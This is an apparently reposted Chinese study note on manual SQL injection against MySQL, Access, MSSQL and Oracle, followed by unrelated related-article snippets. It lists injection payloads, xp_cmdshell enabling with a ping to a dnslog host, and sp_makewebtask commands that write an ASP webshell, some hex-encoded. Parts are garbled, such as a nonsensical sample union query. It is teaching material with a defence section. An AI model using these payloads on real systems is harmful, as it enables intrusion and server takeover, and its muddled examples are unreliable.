No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2

embedded/2025/1/14 18:08:13/

在这里插入图片描述

一、研究背景

  1. 背景介绍
    SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。

  2. 研究内容
    笔记探讨以下数据库的手工注入技术:

    • MySQL
    • Access
    • MSSQL
    • Oracle
      覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
  3. 相关研究
    目前的主要研究集中在SQL注入的检测和防御技术:

    • 参数化查询:避免动态拼接用户输入。
    • 输入验证:严格过滤SQL关键字符。
    • 输出编码:对输出数据进行编码以防止攻击扩散。

二、SQL注入技术详解

1. MySQL注入

  1. 联合查询注入

    • 利用UNION操作符,将多条SELECT语句的结果合并。
    • 步骤
      1. 判断列数:利用ORDER BY语句逐步增加字段数,观察是否报错。
      2. 构造查询:如:UNION SELECT 1,2,3--,逐步替换为敏感数据字段。
      3. 获取数据:在显示字段中插入database()version()等函数查看信息。
  2. 报错注入

    • 方法:利用MySQL特性,构造错误表达式来暴露数据。
      • 示例:EXTRACTVALUE(1, 'XPath语法错误')UPDATEXML(1, 'XPath错误', 1)
  3. 盲注注入

    • 布尔盲注:通过页面返回的不同响应判断数据。
      • 示例:AND (SELECT 'a'='a')-- 页面正常;AND (SELECT 'a'='b')-- 页面异常。
    • 时间盲注:利用SLEEP()函数延迟判断。
      • 示例:IF(条件, SLEEP(5), 0)--
  4. 其他技术

    • UA/Referer注入:通过修改HTTP请求头进行注入。
    • DNSLOG外带:将数据通过DNS请求传出。
    • Cookie注入:在Cookie参数中嵌入注入语句。
    • 宽字节注入:利用GBK编码将字符解码为SQL语句。
    • 堆叠注入:通过分号执行多条SQL语句。
  5. Getshell

    • 目标:利用文件读写权限获取Webshell。
    • 方法LOAD_FILE()读取敏感文件,或INTO OUTFILE写入后门文件。

2. Access注入

  1. 基本流程

    • 判断数据库类型、表名、列名及其数据。
    • 通过页面反馈逐步确认。
  2. 逐字破解法

    • 步骤
      1. 猜表名AND EXISTS (SELECT * FROM 表名),逐步尝试常见表名。
      2. 猜列名AND EXISTS (SELECT 列名 FROM 表名),逐步尝试常见列名。
      3. 获取数据AND (SELECT TOP 1 列名 FROM 表名) = 'value'

3. MSSQL注入

在这里插入图片描述

  1. 报错注入

    • 方法:通过错误信息回显数据。
      • 示例:CONVERT(int, 'a')1/0
  2. 盲注注入

    • 利用内置函数逐步判断数据:
      • 示例:IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
  3. 命令执行

    • 启用xp_cmdshell,执行系统命令。
      • 示例:
        sql">EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        EXEC xp_cmdshell 'ping example.com';
        
  4. 写入Webshell

    • 利用sp_makewebtask创建恶意文件:
      sql">EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';
      

4. Oracle注入

  1. 报错注入

    • 利用函数dbms_utility.sqlid_to_sqlhash()制造错误:
      • 示例:SELECT dbms_utility.sqlid_to_sqlhash('错误') FROM dual;
  2. 盲注注入

    • 使用字符串截取函数判断:
      • 示例:AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'
        在这里插入图片描述

三、防御策略

  1. 过滤SQL特殊字符

    • 使用白名单模式验证输入。
    • ', ;, --, /*等特殊字符进行转义。
  2. 参数化查询

    • 利用预编译语句绑定参数,避免直接拼接用户输入:
      • 示例(PHP PDO):
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
        $stmt->execute(['username' => $input]);
        
  3. 使用存储过程

    • 通过封装数据库操作,减少直接操作SQL的风险。
  4. 最小化权限

    • 限制数据库用户权限,仅允许必要的读写操作。

关键问题及回答

问题1:MySQL注入中的联合查询注入是如何实现的?

联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:

  1. 判断列数

    • 构造查询语句,利用ORDER BY子句判断目标表的列数。
    • 示例:
      ORDER BY字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
  2. 构造联合查询

    • 利用UNION SELECT语句构造包含多个列的查询。
    • 示例:
      sql">'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
      
  3. 执行查询

    • 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。

问题2:在Access注入中,如何利用逐字破解法获取表名和列名?

  1. 查表

    • 构造查询语句,利用EXISTS语句判断表名存在性。
    • 示例:
      sql">AND EXISTS (SELECT * FROM 表名)
      
    • 替换表名为常见名称(如adminuser等),直到页面返回正常,确定表名存在。
  2. 查列

    • 确认表名后,利用EXISTS语句判断列名存在性。
    • 示例:
      sql">AND EXISTS (SELECT 列名 FROM 表名)
      
    • 替换列名为常见名称(如adminpassword等),直到页面返回正常,确定列名存在。
  3. 获取数据

    • 确认表名和列名后,构造查询语句逐步获取数据。
    • 示例:
      sql">AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
      
    • 通过替换列名,判断长度或内容获取目标数据。

问题3:MSSQL注入中的命令执行是如何实现的?

  1. 开启xp_cmdshell

    • 利用sp_configure系统存储过程启用命令执行功能。
    • 示例:
      sql">EXEC sp_configure 'show advanced options', 1;  
      RECONFIGURE;  
      EXEC sp_configure 'xp_cmdshell', 1;  
      RECONFIGURE;
      
  2. 执行系统命令

    • 通过xp_cmdshell执行命令,例如ping命令,验证是否成功执行。
    • 示例:
      sql">EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
      
  3. 写入一句话木马

    • 利用sp_makewebtask或存储过程向目标写入ASP/ASPX木马文件。
    • 示例:
      sql">DECLARE @s NVARCHAR(4000);
      SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700;
      EXEC sp_makewebtask 'C:\webshell.asp', @s;
      

通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。


四、总结与反思

  1. 总结

    • 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
    • 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
  2. 反思

    • 防御措施需要多层次部署,单一防护手段难以完全防范。
    • 检测和防御技术需要结合AI和自动化工具进一步提升效率。
  3. 建议

    • 开发过程中严格执行输入验证和参数化查询。
    • 定期进行安全测试和漏洞扫描。

在这里插入图片描述


http://www.ppmy.cn/embedded/153900.html

相关文章

PostgreSQL 超级管理员详解

1. 什么是 PostgreSQL 超级管理员 PostgreSQL 超级管理员&#xff08;superuser&#xff09;是拥有数据库系统最高权限的用户。他们可以执行任何数据库操作&#xff0c;包括但不限于创建和删除数据库、用户、表空间、模式等。超级管理员权限是 PostgreSQL 中权限的最高级别。 …

实现Windows云服务器文件共享

实现Windows云服务器文件共享 操作前提确认服务器配置修改网络和共享中心配置文件共享 操作前提 需要实现文件共享的两台云服务器都在同一子网下&#xff0c;且网络互通 确认服务器配置 确保“Tcp/IP NetBIOS Helper”服务状态为“已启动”&#xff1a; 右键“win”键&#…

基于Android的嵌入式车载导航系统(源码+lw+部署文档+讲解),源码可白嫖!

摘要 嵌入式车载导航系统设计的目的是为用户提供导航公告、地图&#xff0c;进行导航的一个导航系统APP。 与PC端应用程序相比&#xff0c;嵌入式车载导航系统的设计主要面向于广大用户&#xff0c;旨在为用户提供一个嵌入式车载导航系统平台。用户可以通过APP查看导航公告&am…

Qt天气预报系统获取天气数据

Qt天气预报系统获取天气数据 1、获取天气数据1.1添加天气类头文件1.2定义今天和未来几天天气数据类1.3定义一个解析JSON数据的函数1.4在mainwindow中添加weatherData.h1.5创建今天天气数据和未来几天天气数据对象1.6添加parseJson定义1.7把解析JSON数据添加进去1.8添加错误1.9解…

maven 项目怎么指定打包后名字

在 Spring Boot 的 Maven 项目中&#xff0c;你可以通过配置 pom.xml 文件来指定打包后的文件名。具体步骤如下&#xff1a; 打开 pom.xml 文件&#xff1a;找到你的项目根目录下的 pom.xml 文件。 配置 finalName 属性&#xff1a;在 标签下&#xff0c;添加 属性来指定打包后…

系统看门狗配置--以ubuntu为例

linux系统配置看门狗 以 ubuntu 系统配置看门狗为例 配置看门狗使用的脚本文件&#xff0c;需要使用管理员权限来执行&#xff1a; 配置是&#xff1a;系统每 30S 喂一次狗&#xff0c;超过 60S 不进行投喂&#xff0c;就会自动重启。 1. 系统脚本内容&#xff1a; #!/bin/b…

Java基础面试题day02——数据类型

1.八种基本的数据类型&#xff1f; Java支持的数据类型分为两类&#xff1a;基本数据类型和引用数据类型 基本数据类型&#xff1a; 数值型&#xff1a;整数类型byte、short、int、long 浮点类型float、double字符型&#xff1a;char布尔型&#xff1a;boolean 2.long和int…

笔记本电脑 选购 回收 特权模式使用 指南

笔记本电脑 factor 无线网卡&#xff1a;有些笔记本无法检测到特定频段的信息&#xff0c;会导致连不上校园网 sudo iwlist wlp2s0 scan | grep Frequency > net.txt cat net.txt>表示用终端输出覆盖后续文件&#xff0c;>>表示添加到后续文件的末尾 一种更简…